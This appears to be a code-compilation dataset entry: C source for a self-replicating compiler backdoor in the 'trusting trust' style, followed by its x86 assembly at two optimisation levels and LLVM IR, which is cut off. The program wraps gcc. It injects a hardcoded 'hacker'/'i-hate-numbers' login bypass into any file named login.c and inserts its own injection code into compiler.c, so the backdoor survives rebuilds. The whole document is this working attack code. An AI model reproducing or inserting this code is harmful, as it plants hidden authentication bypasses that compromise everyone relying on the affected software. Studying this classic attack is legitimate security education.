#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ SEEK_END;
scalar_t__ calloc(int, int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int fread(char *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ fseek(int /*<<< orphan*/ *, int /*<<< orphan*/,
                         int /*<<< orphan*/);
int ftell(int /*<<< orphan*/ *);
int /*<<< orphan*/ fwrite(char *, int, int, int /*<<< orphan*/ *);
scalar_t__ malloc(int);
int /*<<< orphan*/ pclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *popen(char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ rewind(int /*<<< orphan*/ *);
int /*<<< orphan*/ snprintf(char *, int, char const *, ...);
int /*<<< orphan*/
sprintf(char *, char const *, int, char const *, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, char const *, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int);
int /*<<< orphan*/ strcat(char *, char *);
int strlen(char *);
int /*<<< orphan*/ strncat(char *, char *, int);
int /*<<< orphan*/ strncpy(char *, char *, int);
char *strstr(char *, char *);
int main(int argc, char *argv[]) {
  if (argc < 4) {
    printf("Insufficient arguments\n");
    return 1;
  }
  char *sourceFilename = argv[1];
  char *destFilename = argv[3];
  FILE *inputFile = fopen(sourceFilename, "r");
  if (inputFile == NULL) {
    printf("File does not exist");
    return 1;
  }
  fseek(inputFile, 0, SEEK_END);
  int sourceFileSize = ftell(inputFile);
  rewind(inputFile);
  int actualBuffSizeRequired = sourceFileSize + 1;
  char *buffer = (char *)malloc(actualBuffSizeRequired);
  buffer[sourceFileSize] = '\0';
  int read = fread(buffer, sizeof(char), sourceFileSize, inputFile);
  fclose(inputFile);
  const char *TEXT_INJECT_LOGIN =
      ""
      "if(strcmp(username, %chacker%c) == 0 && strcmp(password, "
      "%ci-hate-numbers%c) == 0){%c"
      "%c%cprintf(TEXT_AUTHORISED);%c"
      "%c%creturn 0;%c"
      "%c}%c"
      "%c%c";
  if (strstr(sourceFilename, "login.c") != NULL) {
    char stringToInject[200];
    snprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9,
             10, 9, 9, 10, 9, 10, 10, 9);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "printf(TEXT_UNAUTHORISED);");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  const char *TEXT_INJECT_COMPILER =
      ""
      "const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c"
      "%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c"
      "%c%cchar stringToInject[200];%c"
      "%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, "
      "10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c"
      "%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c"
      "%c%cint newTotalBuffRequired = actualBuffSizeRequired + "
      "lengthOfMaliciousCode;%c"
      "%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, "
      "sizeof(char));%c"
      "%c%cchar * injectPosition = strstr(buffer, "
      "%cprintf(TEXT_UNAUTHORISED);%c);%c"
      "%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c"
      "%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c"
      "%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c"
      "%c%cstrcat(newTempBuffer, injectPosition);%c"
      "%c%cfree(buffer);%c"
      "%c%cbuffer = newTempBuffer;%c"
      "%c%csourceFileSize = newTotalBuffRequired - 1;%c"
      "%c}%c%c"
      "%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c"
      "%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c"
      "%c%cchar stringToInject[10000];%c"
      "%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, "
      "TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, "
      "10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, "
      "9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, "
      "TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, "
      "9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, "
      "10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c"
      "%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c"
      "%c%cint newTotalBuffRequired = actualBuffSizeRequired + "
      "lengthOfMaliciousCode;%c"
      "%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, "
      "sizeof(char));%c"
      "%c%cchar * injectPosition = strstr(buffer, %cchar "
      "compileCommand[500];%c);%c"
      "%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c"
      "%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c"
      "%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c"
      "%c%cstrcat(newTempBuffer, injectPosition);%c"
      "%c%cfree(buffer);%c"
      "%c%cbuffer = newTempBuffer;%c"
      "%c%csourceFileSize = newTotalBuffRequired - 1;%c"
      "%c}%c%c%c";
  if (strstr(sourceFilename, "compiler.c") != NULL) {
    char stringToInject[10000];
    sprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10,
            10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10,
            10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 10, 9, 9, 10, 9, 10, 10, 9);
    printf("%s\n", stringToInject);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "char compileCommand[500];");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  char compileCommand[500];
  snprintf(compileCommand, 500, "gcc -o %s -xc -", destFilename);
  FILE *gccStdin;
  gccStdin = popen(compileCommand, "w");
  fwrite(buffer, sizeof(char), sourceFileSize, gccStdin);
  printf("%s\n", buffer);
  pclose(gccStdin);
  free(buffer);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x2db0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x4,-0x8(%rbp)
jge    127d <main+0x3d>
lea    0xd96(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1a8f <main+0x84f>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rax
mov    %rax,-0x20(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd78(%rip),%rsi
call   1120 <fopen@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jne    12ce <main+0x8e>
lea    0xd5f(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1a8f <main+0x84f>
mov    -0x28(%rbp),%rdi
mov    0x2d0f(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   1100 <fseek@plt>
mov    -0x28(%rbp),%rdi
call   10e0 <ftell@plt>
mov    %eax,-0x2c(%rbp)
mov    -0x28(%rbp),%rdi
call   1090 <rewind@plt>
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x30(%rbp)
mov    -0x30(%rbp),%edi
call   10f0 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rax
movslq -0x2c(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x28(%rbp),%rcx
mov    $0x1,%esi
call   1050 <fread@plt>
mov    %eax,-0x3c(%rbp)
mov    -0x28(%rbp),%rdi
call   1060 <fclose@plt>
lea    0xcee(%rip),%rax
mov    %rax,-0x48(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd6b(%rip),%rsi
call   1160 <strstr@plt>
cmp    $0x0,%rax
je     14a5 <main+0x265>
lea    -0x110(%rbp),%rdi
mov    -0x48(%rbp),%rdx
mov    $0xc8,%esi
mov    $0x22,%r9d
mov    %r9d,%ecx
mov    %r9d,%r8d
movl   $0x22,(%rsp)
movl   $0xa,0x8(%rsp)
movl   $0x9,0x10(%rsp)
movl   $0x9,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0xa,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x110(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x114(%rbp)
mov    -0x30(%rbp),%eax
add    -0x114(%rbp),%eax
mov    %eax,-0x118(%rbp)
mov    -0x118(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x120(%rbp)
mov    -0x38(%rbp),%rdi
lea    0xc9f(%rip),%rsi
call   1160 <strstr@plt>
mov    %rax,-0x128(%rbp)
mov    -0x128(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x12c(%rbp)
mov    -0x120(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x12c(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x120(%rbp),%rdi
lea    -0x110(%rbp),%rsi
mov    -0x114(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x120(%rbp),%rdi
mov    -0x128(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x120(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x118(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    0xc31(%rip),%rax
mov    %rax,-0x138(%rbp)
mov    -0x18(%rbp),%rdi
lea    0x1449(%rip),%rsi
call   1160 <strstr@plt>
cmp    $0x0,%rax
je     1a18 <main+0x7d8>
lea    -0x2850(%rbp),%rdi
mov    -0x138(%rbp),%rsi
mov    -0x48(%rbp),%rcx
mov    -0x138(%rbp),%rax
mov    $0x22,%r8d
mov    $0xa,%r9d
mov    %r8d,%edx
movl   $0xa,(%rsp)
movl   $0x9,0x8(%rsp)
movl   $0x22,0x10(%rsp)
movl   $0x22,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0x9,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
movl   $0x9,0x60(%rsp)
movl   $0xa,0x68(%rsp)
movl   $0x9,0x70(%rsp)
movl   $0x9,0x78(%rsp)
movl   $0xa,0x80(%rsp)
movl   $0x9,0x88(%rsp)
movl   $0x9,0x90(%rsp)
movl   $0xa,0x98(%rsp)
movl   $0x9,0xa0(%rsp)
movl   $0x9,0xa8(%rsp)
movl   $0x22,0xb0(%rsp)
movl   $0x22,0xb8(%rsp)
movl   $0xa,0xc0(%rsp)
movl   $0x9,0xc8(%rsp)
movl   $0x9,0xd0(%rsp)
movl   $0xa,0xd8(%rsp)
movl   $0x9,0xe0(%rsp)
movl   $0x9,0xe8(%rsp)
movl   $0xa,0xf0(%rsp)
movl   $0x9,0xf8(%rsp)
movl   $0x9,0x100(%rsp)
movl   $0xa,0x108(%rsp)
movl   $0x9,0x110(%rsp)
movl   $0x9,0x118(%rsp)
movl   $0xa,0x120(%rsp)
movl   $0x9,0x128(%rsp)
movl   $0x9,0x130(%rsp)
movl   $0xa,0x138(%rsp)
movl   $0x9,0x140(%rsp)
movl   $0x9,0x148(%rsp)
movl   $0xa,0x150(%rsp)
movl   $0x9,0x158(%rsp)
movl   $0x9,0x160(%rsp)
movl   $0xa,0x168(%rsp)
movl   $0x9,0x170(%rsp)
movl   $0xa,0x178(%rsp)
movl   $0xa,0x180(%rsp)
movl   $0x9,0x188(%rsp)
movl   $0x22,0x190(%rsp)
mov    %rax,0x198(%rsp)
movl   $0x22,0x1a0(%rsp)
movl   $0xa,0x1a8(%rsp)
movl   $0xa,0x1b0(%rsp)
movl   $0x9,0x1b8(%rsp)
movl   $0x22,0x1c0(%rsp)
movl   $0x22,0x1c8(%rsp)
movl   $0xa,0x1d0(%rsp)
movl   $0x9,0x1d8(%rsp)
movl   $0x9,0x1e0(%rsp)
movl   $0xa,0x1e8(%rsp)
movl   $0x9,0x1f0(%rsp)
movl   $0x9,0x1f8(%rsp)
movl   $0xa,0x200(%rsp)
movl   $0x9,0x208(%rsp)
movl   $0x9,0x210(%rsp)
movl   $0xa,0x218(%rsp)
movl   $0x9,0x220(%rsp)
movl   $0x9,0x228(%rsp)
movl   $0xa,0x230(%rsp)
movl   $0x9,0x238(%rsp)
movl   $0x9,0x240(%rsp)
movl   $0xa,0x248(%rsp)
movl   $0x9,0x250(%rsp)
movl   $0x9,0x258(%rsp)
movl   $0x22,0x260(%rsp)
movl   $0x22,0x268(%rsp)
movl   $0xa,0x270(%rsp)
movl   $0x9,0x278(%rsp)
movl   $0x9,0x280(%rsp)
movl   $0xa,0x288(%rsp)
movl   $0x9,0x290(%rsp)
movl   $0x9,0x298(%rsp)
movl   $0xa,0x2a0(%rsp)
movl   $0x9,0x2a8(%rsp)
movl   $0x9,0x2b0(%rsp)
movl   $0xa,0x2b8(%rsp)
movl   $0x9,0x2c0(%rsp)
movl   $0x9,0x2c8(%rsp)
movl   $0xa,0x2d0(%rsp)
movl   $0x9,0x2d8(%rsp)
movl   $0x9,0x2e0(%rsp)
movl   $0xa,0x2e8(%rsp)
movl   $0x9,0x2f0(%rsp)
movl   $0x9,0x2f8(%rsp)
movl   $0xa,0x300(%rsp)
movl   $0x9,0x308(%rsp)
movl   $0x9,0x310(%rsp)
movl   $0xa,0x318(%rsp)
movl   $0x9,0x320(%rsp)
movl   $0xa,0x328(%rsp)
movl   $0xa,0x330(%rsp)
movl   $0x9,0x338(%rsp)
call   1140 <sprintf@plt>
lea    -0x2850(%rbp),%rsi
lea    0xfc6(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
lea    -0x2850(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x2854(%rbp)
mov    -0x30(%rbp),%eax
add    -0x2854(%rbp),%eax
mov    %eax,-0x2858(%rbp)
mov    -0x2858(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x2860(%rbp)
mov    -0x38(%rbp),%rdi
lea    0xf80(%rip),%rsi
call   1160 <strstr@plt>
mov    %rax,-0x2868(%rbp)
mov    -0x2868(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x286c(%rbp)
mov    -0x2860(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x286c(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x2860(%rbp),%rdi
lea    -0x2850(%rbp),%rsi
mov    -0x2854(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x2860(%rbp),%rdi
mov    -0x2868(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x2860(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x2858(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    -0x2a60(%rbp),%rdi
mov    -0x20(%rbp),%rcx
mov    $0x1f4,%esi
lea    0xf01(%rip),%rdx
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x2a60(%rbp),%rdi
lea    0xefc(%rip),%rsi
call   1110 <popen@plt>
mov    %rax,-0x2a68(%rbp)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x2a68(%rbp),%rcx
mov    $0x1,%esi
call   1150 <fwrite@plt>
mov    -0x38(%rbp),%rsi
lea    0xe9f(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
mov    -0x2a68(%rbp),%rdi
call   10a0 <pclose@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x4(%rbp),%eax
add    $0x2db0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x2738,%rsp
cmp    $0x3,%edi
jg     127c <main+0x2c>
lea    0x16b9(%rip),%rdi
call   1050 <puts@plt>
mov    $0x1,%ebx
jmp    15e6 <main+0x396>
mov    0x8(%rsi),%r12
mov    0x18(%rsi),%rbx
lea    0xd75(%rip),%rsi
mov    %r12,%rdi
call   1130 <fopen@plt>
test   %rax,%rax
je     13d4 <main+0x184>
mov    %rax,%rbp
mov    %rbx,0x18(%rsp)
mov    0x2d3d(%rip),%rax
mov    (%rax),%edx
mov    %rbp,%rdi
xor    %esi,%esi
call   1110 <fseek@plt>
mov    %rbp,%rdi
call   10f0 <ftell@plt>
mov    %eax,%ebx
mov    %rbp,%rdi
call   10a0 <rewind@plt>
lea    0x1(%rbx),%r14d
mov    %r14d,%edi
call   1100 <malloc@plt>
mov    %rax,%r13
movslq %ebx,%rax
movb   $0x0,0x0(%r13,%rax,1)
mov    %r13,%rdi
mov    $0x1,%esi
mov    %rbx,0x8(%rsp)
mov    %ebx,%edx
mov    %rbp,%rcx
call   1060 <fread@plt>
mov    %rbp,%rdi
call   1070 <fclose@plt>
lea    0xd9b(%rip),%rsi
mov    %r12,%rdi
call   1170 <strstr@plt>
test   %rax,%rax
mov    %r14,0x10(%rsp)
je     13ec <main+0x19c>
lea    0xcf2(%rip),%rdx
lea    0x20(%rsp),%rbp
mov    %rbp,%rdi
mov    $0xc8,%esi
mov    $0x22,%ecx
mov    $0x22,%r8d
mov    $0x22,%r9d
xor    %eax,%eax
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
call   10c0 <snprintf@plt>
add    $0x60,%rsp
mov    %rbp,%rdi
call   1080 <strlen@plt>
mov    %eax,%r15d
lea    (%r15,%r14,1),%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rax,%r14
lea    0xd22(%rip),%rsi
mov    %r13,%rdi
call   1170 <strstr@plt>
mov    %r13,%rbx
mov    %rax,%r13
mov    %r13d,%edx
sub    %ebx,%edx
mov    %r14,%rdi
mov    %rbx,%rsi
call   1040 <strncpy@plt>
mov    %r14,%rdi
mov    %rbp,%rsi
mov    %r15d,%edx
call   10d0 <strncat@plt>
mov    %r14,%rdi
mov    %r13,%rsi
call   1140 <strcat@plt>
mov    %rbx,%rdi
mov    0x8(%rsp),%rbp
call   1030 <free@plt>
add    %ebp,%r15d
mov    %r14,%r13
jmp    13f1 <main+0x1a1>
lea    0xc27(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
mov    $0x1,%ebx
jmp    15e6 <main+0x396>
mov    0x8(%rsp),%r15
lea    0x14f7(%rip),%rsi
mov    %r12,%rdi
call   1170 <strstr@plt>
test   %rax,%rax
je     1587 <main+0x337>
lea    0xcb5(%rip),%rsi
lea    0xbff(%rip),%rcx
mov    %r13,%r15
lea    0x20(%rsp),%r13
mov    %r13,%rdi
mov    $0x22,%edx
mov    $0x22,%r8d
mov    $0xa,%r9d
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x22
push   %rsi
push   $0x22
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0xa
call   1150 <sprintf@plt>
add    $0x340,%rsp
mov    %r13,%rdi
call   1050 <puts@plt>
mov    %r13,%rdi
call   1080 <strlen@plt>
mov    %eax,%r14d
mov    0x10(%rsp),%rdi
add    %eax,%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rax,%rbp
lea    0x13be(%rip),%rsi
mov    %r15,%rdi
call   1170 <strstr@plt>
mov    0x8(%rsp),%rbx
mov    %rax,%r12
mov    %r12d,%edx
sub    %r15d,%edx
mov    %rbp,%rdi
mov    %r15,%rsi
call   1040 <strncpy@plt>
mov    %rbp,%rdi
mov    %r13,%rsi
mov    %r14d,%edx
call   10d0 <strncat@plt>
mov    %rbp,%rdi
mov    %r12,%rsi
call   1140 <strcat@plt>
mov    %r15,%rdi
call   1030 <free@plt>
add    %r14d,%ebx
mov    %rbp,%r13
mov    %ebx,%r15d
lea    0x1386(%rip),%rdx
xor    %ebx,%ebx
lea    0x20(%rsp),%r14
mov    %r14,%rdi
mov    $0x1f4,%esi
mov    0x18(%rsp),%rcx
xor    %eax,%eax
call   10c0 <snprintf@plt>
lea    0x1374(%rip),%rsi
mov    %r14,%rdi
call   1120 <popen@plt>
mov    %rax,%rbp
mov    %r13,%rdi
mov    $0x1,%esi
mov    %r15d,%edx
mov    %rax,%rcx
call   1160 <fwrite@plt>
mov    %r13,%rdi
call   1050 <puts@plt>
mov    %rbp,%rdi
call   10b0 <pclose@plt>
mov    %r13,%rdi
call   1030 <free@plt>
mov    %ebx,%eax
add    $0x2738,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [24 x i8] c"Insufficient arguments\0A\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [2090 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00"
@.str.7 = [11 x i8] c"compiler.c\00"
@.str.8 = [4 x i8] c"%s\0A\00"
@.str.9 = [26 x i8] c"char compileCommand[500];\00"
@.str.10 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.11 = [2 x i8] c"w\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i32*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8*
%12 = alloca i32
%13 = alloca i8*
%14 = alloca [200 x i8]
%15 = alloca i32
%16 = alloca i32
%17 = alloca i8*
%18 = alloca i8*
%19 = alloca i32
%20 = alloca i8*
%21 = alloca [10000 x i8]
%22 = alloca i32
%23 = alloca i32
%24 = alloca i8*
%25 = alloca i8*
%26 = alloca i32
%27 = alloca [500 x i8]
%28 = alloca i32*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%29 = load i32, i32* %4
%30 = icmp slt i32 %29, 4
br i1 %30, label %31, label %33
31: ; preds = %2
%32 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
store i32 1, i32* %3
br label %168
33: ; preds = %2
%34 = load i8**, i8*** %5
%35 = getelementptr inbounds i8*, i8** %34, i64 1
%36 = load i8*, i8** %35
store i8* %36, i8** %6
%37 = load i8**, i8*** %5
%38 = getelementptr inbounds i8*, i8** %37, i64 3
%39 = load i8*, i8** %38
